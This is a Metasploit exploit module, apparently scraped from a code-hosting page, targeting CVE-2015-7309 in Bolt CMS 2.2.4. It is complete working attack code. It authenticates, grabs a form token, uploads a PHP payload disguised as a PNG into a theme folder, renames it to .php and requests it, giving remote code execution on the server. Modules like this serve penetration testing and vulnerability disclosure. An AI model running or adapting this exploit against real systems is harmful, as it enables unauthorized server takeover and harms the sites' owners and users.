Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/bolt_file_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(13info,14'Name' => 'CMS Bolt File Upload Vulnerability',15'Description' => %q{16Bolt CMS contains a flaw that allows an authenticated remote17attacker to execute arbitrary PHP code. This module was18tested on version 2.2.4.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Tim Coen', # Vulnerability Disclosure24'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module25],26'References' =>27[28['CVE', '2015-7309'],29['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']30],31'DisclosureDate' => '2015-08-17',32'Platform' => 'php',33'Arch' => ARCH_PHP,34'Targets' => [['Bolt 2.2.4', {}]],35'DefaultTarget' => 036))3738register_options(39[40OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),41OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),42OptString.new('USERNAME', [true, 'The username to authenticate with']),43OptString.new('PASSWORD', [true, 'The password to authenticate with'])44])45end4647def check48cookie = bolt_login(username, password)49return Exploit::CheckCode::Detected unless cookie5051res = send_request_cgi(52'method' => 'GET',53'uri' => normalize_uri(target_uri.path, 'bolt'),54'cookie' => cookie55)5657if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')58return Exploit::CheckCode::Vulnerable59end60Exploit::CheckCode::Safe61end6263def username64datastore['USERNAME']65end6667def password68datastore['PASSWORD']69end7071def fname72datastore['FOLDERNAME']73end7475def bolt_login(user, pass)76res = send_request_cgi(77'method' => 'GET',78'uri' => normalize_uri(target_uri.path, 'bolt', 'login')79)8081fail_with(Failure::Unreachable, 'No response received from the target.') unless res8283session_cookie = res.get_cookies84vprint_status("Logging in...")85res = send_request_cgi(86'method' => 'POST',87'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),88'cookie' => session_cookie,89'vars_post' => {90'username' => user,91'password' => pass,92'action' => 'login'93}94)9596return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')97nil98end99100def get_token(cookie, fname)101res = send_request_cgi(102'method' => 'GET',103'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),104'cookie' => cookie105)106107if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /108return Regexp.last_match[1]109end110nil111end112113def rename_payload(cookie, payload, fname)114res = send_request_cgi(115'method' => 'POST',116'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),117'vars_post' => {118'namespace' => 'theme',119'parent' => fname,120'oldname' => "#{payload}.png",121'newname' => "#{payload}.php"122},123'cookie' => cookie124)125126return true if res && res.code == 200 && res.body.include?('1')127nil128end129130def exploit131vprint_status("Authenticating using #{username}:#{password}")132133cookie = bolt_login(username, password)134fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?135vprint_good("Authenticated with Bolt.")136137token = get_token(cookie, fname)138fail_with(Failure::Unknown, 'No token found.') if token.nil?139vprint_good("Token \"#{token}\" found.")140141vprint_status("Preparing payload...")142payload_name = Rex::Text.rand_text_alpha_lower(10)143144data = Rex::MIME::Message.new145data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")146data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')147post_data = data.to_s148149vprint_status("Uploading payload...")150res = send_request_cgi(151'method' => 'POST',152'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),153'ctype' => "multipart/form-data; boundary=#{data.bound}",154'data' => post_data,155'cookie' => cookie156)157158fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302159vprint_good("Uploaded the payload.")160161rename = rename_payload(cookie, payload_name, fname)162fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?163164php_file_name = "#{payload_name}.php"165payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)166vprint_status("Parsed response.")167168register_files_for_cleanup(php_file_name)169vprint_status("Executing the payload at #{payload_url}.")170send_request_cgi(171'uri' => payload_url,172'method' => 'GET'173)174end175end176177178